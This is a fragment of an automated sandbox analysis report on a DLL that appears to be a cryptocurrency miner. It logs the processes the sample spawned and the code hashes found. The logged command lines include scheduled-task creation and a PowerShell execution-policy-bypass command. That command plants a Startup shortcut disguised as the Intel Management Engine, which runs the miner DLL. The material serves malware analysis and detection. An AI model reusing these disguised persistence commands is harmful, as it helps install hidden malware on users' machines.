Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml
Imagebase:	0x7ff67f2d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:49:20
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:49:22
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainer
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:49:22
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstall
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:49:22
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstallUserOnly
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:49:22
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",Dummy
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:49:22
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DotNetRuntimeDebugHeader
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:49:22
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerUserOnly
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	05:49:22
Start date:	17/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerSmartAndSilent
Imagebase:	0x7ff61ddb0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:49:23
Start date:	17/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"taskkill" /F /IM powershell.exe
Imagebase:	0x7ff7ba180000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:49:23
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:49:23
Start date:	17/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7648 -s 372
Imagebase:	0x7ff7c1ba0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:49:23
Start date:	17/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	"taskkill" /F /IM powershell.exe
Imagebase:	0x7ff7ba180000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:49:23
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F
Imagebase:	0x7ff67f2d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:49:24
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6068e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:49:25
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F
Imagebase:	0x7ff67f2d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:49:25
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:49:25
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:49:25
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	05:49:26
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Imagebase:	0x7ff67f2d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	05:49:30
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	05:49:30
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	05:49:31
Start date:	17/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml
Imagebase:	0x7ff67f2d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 00000003.00000002.2536287610.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 00000003.00000002.2536259429.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2536558578.00007FF8A862D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2537630024.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2537653251.00007FF8A8ED2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2537715668.00007FF8A8EEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2537736283.00007FF8A8EF1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2537736283.00007FF8A8EF4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2537736283.00007FF8A8EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2537906002.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Analysis Process: rundll32.exePID: 4500, Parent PID: 4372COMMON

Non-executed Functions

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 00000004.00000002.2168930315.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 00000004.00000002.2168908176.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2169217074.00007FF8A862D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2170231133.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2170263567.00007FF8A8ED2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2170315695.00007FF8A8EF1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2170315695.00007FF8A8EF4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2170315695.00007FF8A8EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2170425675.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Analysis Process: rundll32.exePID: 6156, Parent PID: 3008COMMON

Non-executed Functions

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 0000000A.00000002.2254364573.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 0000000A.00000002.2254343071.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2255266297.00007FF8A862D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2257799017.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2258589571.00007FF8A8ED2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2258989070.00007FF8A8EDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2259343640.00007FF8A8EF1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2259343640.00007FF8A8EF4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2259343640.00007FF8A8EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000A.00000002.2261711136.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Analysis Process: powershell.exePID: 3772, Parent PID: 6156COMMON

Executed Functions

Function 00007FF8476F33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2226685129.00007FF8476F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8476F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff8476f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 8a7fc4b07c094cba96a9d96ccc4be6d1bc2848e455770887b4e3799a08ef23ea
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: AC01677111CB0C8FDB44EF0CE451AA5B7E0FB95364F10056DE58AC3665DA36E882CB45

Non-executed Functions

Function 00007FF8476F2478 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2226685129.00007FF8476F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8476F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff8476f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0366de86576d092170f40522aea9f901a53b60dccf60dd31324f7509f3cbd705
Instruction ID: 18090c6f2606f2adf623bff37f487da5db53f75ac006915aec218e08cebdd97d
Opcode Fuzzy Hash: 0366de86576d092170f40522aea9f901a53b60dccf60dd31324f7509f3cbd705
Instruction Fuzzy Hash: 83316457D0E7C2AEEB12A73D68651E93FA1EF937B570D00F7C1848B0D3E908584A8762

Analysis Process: rundll32.exePID: 6004, Parent PID: 3008COMMON

Non-executed Functions

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8342B46
GetCurrentProcessId.KERNEL32 ref: 00007FF8A8342B52
QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8342B62

Memory Dump Source

Source File: 00000014.00000002.2365650332.00007FF8A8291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8290000, based on PE: true

Associated: 00000014.00000002.2364335514.00007FF8A8290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2371194870.00007FF8A862D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2373402396.00007FF8A8ED1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2373454011.00007FF8A8ED2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2373497620.00007FF8A8EDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2373546449.00007FF8A8EF1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2373546449.00007FF8A8EF4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2373546449.00007FF8A8EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000014.00000002.2373713779.00007FF8A8EF9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff8a8290000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction ID: cfae8a2047eeb99a286b6d80f76571c318b54ef1adecabdf29b444660a4e9233
Opcode Fuzzy Hash: 55ebbe301e1a522b0630bdfa6b99dd75b7c384c80fd001db8e58191c7dacab35
Instruction Fuzzy Hash: D0114C22B19F059AEB00CF60E8442A833A4FB19798F440A31DA6D467A4DF3CD1A88750

Analysis Process: powershell.exePID: 7184, Parent PID: 6156COMMON

Executed Functions

Function 00007FF8477033B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2250861196.00007FF847700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF847700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff847700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b7eb879aeff2565d6fe36d34af01aa9e22e2b06d64cdbf2127ecae66d78e1e9
Instruction ID: 26de467917bf4c70dcf20d23ec36f735f01e4cf386c2b80a4fa541ff55c6572d
Opcode Fuzzy Hash: 6b7eb879aeff2565d6fe36d34af01aa9e22e2b06d64cdbf2127ecae66d78e1e9
Instruction Fuzzy Hash: 8001677111CB0C8FD744EF0CE451AA5B7E0FB95364F50056DE58AC3665DA36E882CB45

Analysis Process: powershell.exePID: 7400, Parent PID: 6004COMMON

Executed Functions

Function 00007FF8477F078D Relevance: 1.2, Instructions: 1188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2352808508.00007FF8477F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8477F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff8477f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1eee878efd7fb4ed7bd5a4c864780a1eb75d4e0f5ef499d59fa4ed8dc493f3f
Instruction ID: 213cbd0de05b538d8619e0eacec447f6398414d657820488dc2206f7668ccd0b
Opcode Fuzzy Hash: f1eee878efd7fb4ed7bd5a4c864780a1eb75d4e0f5ef499d59fa4ed8dc493f3f
Instruction Fuzzy Hash: 42721421E0EB8E9FE79AA62858512B87BE1FF56790B4804FBC44CC72D3DD18AC45C356

Function 00007FF8477F1302 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2352808508.00007FF8477F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8477F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff8477f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb55fe2bcde75911a51c9cd85e3de4580b54e8261c0e53737e7681f77c447d5b
Instruction ID: 4bed1dfbec8bf6585fe54341cb284d4d6db347c666f1ab5ac1a6eed1757b83ca
Opcode Fuzzy Hash: bb55fe2bcde75911a51c9cd85e3de4580b54e8261c0e53737e7681f77c447d5b
Instruction Fuzzy Hash: B251F43180D7C88FD75ADB2898556A87FF1EF87364F0841EFE089C7193C668A816CB56

Function 00007FF847723475 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2351784158.00007FF847720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF847720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ff847720000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 9bc8fd410553121d93937af3d7295b3e3dace5216cbb299ef5e4c61c7c7811f8
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: C301677111CB0C8FD744EF0CE451AB5B7E0FB95364F50056EE58AC3665D636E882CB46

Analysis Process: rundll32.exePID: 7584, Parent PID: 3008COMMON

Non-executed Functions

Function 00007FF8A8342B0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8A8342B38
